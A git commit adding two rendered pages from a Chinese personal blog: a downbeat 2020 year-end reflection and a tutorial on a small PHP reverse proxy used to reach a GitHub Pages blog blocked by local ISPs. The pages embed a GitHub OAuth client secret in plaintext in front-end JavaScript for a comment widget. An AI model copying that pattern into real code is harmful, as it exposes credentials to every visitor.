This commit is contained in:
2026-01-17 09:36:00 +00:00
commit 89e46030e4
310 changed files with 93285 additions and 0 deletions

321
2021/01/04/summary.html Normal file
View File

@@ -0,0 +1,321 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>年终总结 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="年终总结" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="又一年过去了啊……" />
<meta property="og:description" content="又一年过去了啊……" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-01-04T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="年终总结" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-01-04T00:00:00+08:00","datePublished":"2021-01-04T00:00:00+08:00","description":"又一年过去了啊……","headline":"年终总结","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/01/04/summary.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/01/04/summary.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/01/04/summary.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-01-04T00:00:00+08:00">4 January 2021</time> - 字数统计1339 - 阅读大约需要4分钟 - Hits: <span id="/2021/01/04/summary.html" class="visitors">Loading...</span></small>
<h1 class="p-name">年终总结</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Mon, 04 Jan 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章是一份年终总结作者回顾了2020年的生活指出自己似乎没有取得预期的进步对在中国建立网站的困难、生存环境的下降、能力水平的下滑以及工作和个人生活中遇到的问题进行了反思。虽然提到一些积极的方面如社团职位的晋升和免费的资源但作者总体情绪不高表达了对未来的不确定性和对自己社交环境的担忧。文章最后作者提到由于精神状态不佳未能完成原计划的内网穿透研究但决定继续前进并面对考试挑战。</p>
<hr />
<ul><li><a href="#null">Null</a></li><li><a href="#2020年特别的事情">2020年特别的事情</a></li><li><a href="#更早的事情">更早的事情</a></li><li><a href="#后记">后记</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>又一年过去了啊……<!--more--></p>
<h1 id="null">
<a href="#null"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Null
</h1>
<p>2020年过完了啊……明明和2019年一样也不过在学校待了半个学期而且理论上来说今年我应该会过的更好啊……为什么我会■■到什么也不记得呢 </p><p>
又回看了一遍<a href="/2019/12/31/summary.html">去年的年终总结</a>,今年我真的是啥都没干啊…… </p><p>
本来这一篇年终总结应该放到5天前的可是无论如何我似乎都没心情写下去了……有一部分是因为中国的互联网环境越来越糟糕想在中国不备案的情况下建网站越来越难了现在很多地方的运营商都已经开始屏蔽Github Pages以至于我自己连我的博客都要用特别的方法上…… </p><p>
另外就是什么都不记得的问题,近几天我的生存环境是真的很糟糕啊……并不是说待的环境很糟糕,应该是说生存能力变差了很多吧。不仅如此,我感觉各项能力水平都开始下降了…… </p><p>
其实不应该这样糟糕的至少前两天我还抽奖中了一个机械键盘应该感到高兴。不过中奖也不过如此我在玩PCR的时候1什么都没出也是很糟糕的事情啊……更何况300连后又抽了11发仍然什么都没有随机的事情也不过如此。</p>
<h1 id="2020年特别的事情">
<a href="#2020年特别的事情"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 2020年特别的事情
</h1>
<p>是时候想点高兴的事情了,像在这个学期我成为了我所在社团部门的部长,这本身倒也没啥,不过在这个职位所得到的东西是应该让我很高兴才对。 </p><p>
像是在冬天温暖的办公室很多性能虽然很差但是就是免费而且能用的电脑可以躺下来像家庭影院般的投影仪以及试用了1个月的理论上可以创造1wCNY价值的服务器这些都是很不错的事情而且它们都是免费的相比于其他人所享用的事情。然而即使如此还是会出现问题莫名其妙的问题……
其他的事情似乎能回想起来的不多了,直接看以前写的文章也许可以大概的了解一些。另外根据统计来看,我似乎在家里写的博客更多?果然我虽然好像享有很多东西,可是没有家里舒服,虽然我在家里也并不开心,但是似乎还是比在学校好一点……这真的是很令人担心啊……</p>
<h1 id="更早的事情">
<a href="#更早的事情"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 更早的事情
</h1>
<p>似乎根据我的记录来看,只要是和人在一起,终究我都不会很高兴,另外现在我在写这一篇文章的状态也不太好,虽然打字看起来甚至熟练到就和说话一样,但是思维却是乱的。 </p><p>
即使在完全没有人的地方我肯定也没有合适的生存环境令人沮丧的一点是所有的事情全部都是有期限的就像隔一段时间要洗澡衣服也只能穿一段时间……我很久以前就在想如果可以像服务器一样整天都在最舒适的环境下除了连接网络其他什么都不需要不需要什么像屏幕、键盘、鼠标等等的IO设备仅仅需要连接网络该多好这就让我想起来前段时间玩的《Cyberpunk 2077》了转换成为印迹永远的生活在网络空间中…… </p><p>
当然我没有像服务器那样的工作能力资本家永远是资本家不是所有的主机都可以享用那样的环境因为不是所有主机都有那样的能力我即使能够24小时在网络世界中我也没有钱在我没办法创造利益的情况下生活一辈子所以想着那样的事情也没有用看看接下来该怎么继续向前走吧</p>
<h1 id="后记">
<a href="#后记"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 后记
</h1>
<p>其实我在12月31的时候本来是想写对内网穿透的进一步研究不过好像精神状态不太能支持我写下去所以接下来我会再仔细研究一下NAT和NAPT然后写出新的文章。 </p><p>
其他我也没什么特别想说的了,今天就先这样吧!接下来几天还要考试,虽然现在我什么都不会,接下来的考试我感觉很难通过,但是没办法,也只能这样了,不知道接下来的生活会怎么样……</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%80%BB%E7%BB%93"><em>总结</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-01-04-summary.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/01/04/summary.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2020/12/13/nat.html">
上一篇:关于内网穿透的笔记
</a>
</span>
<br />
<span class="next">
<a href="/2021/01/06/proxy.html">
下一篇如何用PHP制作一个简单的反向代理
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/01/04/summary', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/01/04/summary.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

330
2021/01/06/proxy.html Normal file
View File

@@ -0,0 +1,330 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>如何用PHP制作一个简单的反向代理 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="如何用PHP制作一个简单的反向代理" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="解决问题还是很简单的。" />
<meta property="og:description" content="解决问题还是很简单的。" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-01-06T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="如何用PHP制作一个简单的反向代理" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-01-06T00:00:00+08:00","datePublished":"2021-01-06T00:00:00+08:00","description":"解决问题还是很简单的。","headline":"如何用PHP制作一个简单的反向代理","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/01/06/proxy.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/01/06/proxy.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/01/06/proxy.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-01-06T00:00:00+08:00">6 January 2021</time> - 字数统计1509 - 阅读大约需要5分钟 - Hits: <span id="/2021/01/06/proxy.html" class="visitors">Loading...</span></small>
<h1 class="p-name">如何用PHP制作一个简单的反向代理</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Wed, 06 Jan 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章讲述了作者在被国内运营商屏蔽Github Pages后如何用PHP制作一个简单的反向代理以解决博客访问问题的经历。作者先尝试使用PHP的file_get_contents来实现反代但遇到了CSS和JS MIME类型问题。通过研究Header作者重写了请求的Header信息最终实现通过PHP脚本重定向到目标URL并解决了MIME类型的匹配问题。文章最后作者成功地将博客域名更换并调整了Gitalk的返回地址让博客在中国用户中正常工作同时表达了对网络环境改善的希望。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#解决过程">解决过程</a></li><li><a href="#之后的操作">之后的操作</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>解决问题还是很简单的。<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>由于莫名其妙的原因很多运营商都屏蔽了Github Pages导致我上我的博客很困难。这令我很不高兴但是没办法毕竟在中国就是这样搭个网站很麻烦。 </p><p>
在两年前我的博客也被屏蔽过一次那时候我是用的Nginx反代解决这个问题的不过Nginx反代要服务器当时我用的是花火学园的服务器来搞但是现在因为登一次花火学园的服务器很麻烦网络卡的不得了所以没办法我只好想想别的更简单的方法解决这个问题。 </p><p>
这时候我就想到了PHP用PHP解决这个问题应该很简单<code class="language-plaintext highlighter-rouge">file_get_contents()</code>应该很轻松就可以解决这个问题。</p>
<h1 id="解决过程">
<a href="#解决过程"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 解决过程
</h1>
<p>理论上来说只要整一个php然后里面直接用<code class="language-plaintext highlighter-rouge">echo file_get_contents(url)</code>就可以实现反代了所以首先就按这个思路做为了让访问的所有请求都发送到这个php里我得用重写的方式。 </p><p>
我用的是GearHost的虚拟主机他们的主机都用的是IIS这导致我还得了解一下IIS的重写怎么搞还好我的方案和WordPress的重写方案很像我就直接按照WordPress的方式写了。 </p><p>
把下面的代码放到Rewrite的rules段里就可以正常工作了</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;rule</span> <span class="na">name=</span><span class="s">"Mayx"</span> <span class="na">stopProcessing=</span><span class="s">"true"</span><span class="nt">&gt;</span>
<span class="nt">&lt;match</span> <span class="na">url=</span><span class="s">"^(.*)$"</span> <span class="nt">/&gt;</span>
<span class="nt">&lt;conditions&gt;</span>
<span class="nt">&lt;add</span> <span class="na">input=</span><span class="s">"{REQUEST_FILENAME}"</span> <span class="na">matchType=</span><span class="s">"IsFile"</span> <span class="na">negate=</span><span class="s">"true"</span> <span class="nt">/&gt;</span>
<span class="nt">&lt;add</span> <span class="na">input=</span><span class="s">"{REQUEST_FILENAME}"</span> <span class="na">matchType=</span><span class="s">"IsDirectory"</span> <span class="na">negate=</span><span class="s">"true"</span> <span class="nt">/&gt;</span>
<span class="nt">&lt;/conditions&gt;</span>
<span class="nt">&lt;action</span> <span class="na">type=</span><span class="s">"Rewrite"</span> <span class="na">url=</span><span class="s">"index.php"</span><span class="nt">/&gt;</span>
<span class="nt">&lt;/rule&gt;</span>
</code></pre></div></div>
<p>然后就是新建一个index.php文件路径的话用<code class="language-plaintext highlighter-rouge">$_SERVER['REQUEST_URI']</code>就可以了。 </p><p>
不过如果直接用<code class="language-plaintext highlighter-rouge">echo file_get_contents(url)</code>的方法搞会出现一些问题比如css和js的MIME类型要求必须和实际一样但是我这个方案会导致所有请求都是<code class="language-plaintext highlighter-rouge">text/html</code>类型的,这是个很麻烦的问题啊…… </p><p>
后来我花了2个小时查资料搜php怎么读MIME结果搜到的全是<code class="language-plaintext highlighter-rouge">mime_content_type()</code>之类乱七八糟的东西让人很难受。我仔细思考了一下MIME是在Header里声明的我应该去搜Header而不是怎么读MIME最终可算是搜到了一点有用的东西了也就是<code class="language-plaintext highlighter-rouge">$http_response_header</code>这个东西好像是个数组后来我想了一下干脆不要考虑怎么读MIME直接把Header跟着重写一遍算了于是最终代码如下</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$content</span><span class="o">=</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"https://mabbs.github.io"</span><span class="mf">.</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REQUEST_URI'</span><span class="p">]);</span>
<span class="k">foreach</span><span class="p">(</span><span class="nv">$http_response_header</span> <span class="k">as</span> <span class="nv">$header</span><span class="p">){</span>
<span class="nb">header</span><span class="p">(</span><span class="nv">$header</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$content</span><span class="p">){</span>
<span class="k">echo</span> <span class="nv">$content</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s2">"404"</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h1 id="之后的操作">
<a href="#之后的操作"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 之后的操作
</h1>
<p>这么搞完之后基本上就可以正常工作了,于是我的博客域名再一次更换(专供中国用户):<a href="https://yuki.gear.host/">yuki.gear.host</a>另外把备用的Gitalk的Github Apps返回地址也改了基本上就可以正常工作了。希望以后GFW能做个人不要再乱搞国内的网络环境了。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=PHP"><em>PHP</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E4%BB%A3%E7%90%86"><em>代理</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-01-06-proxy.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/01/06/proxy.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
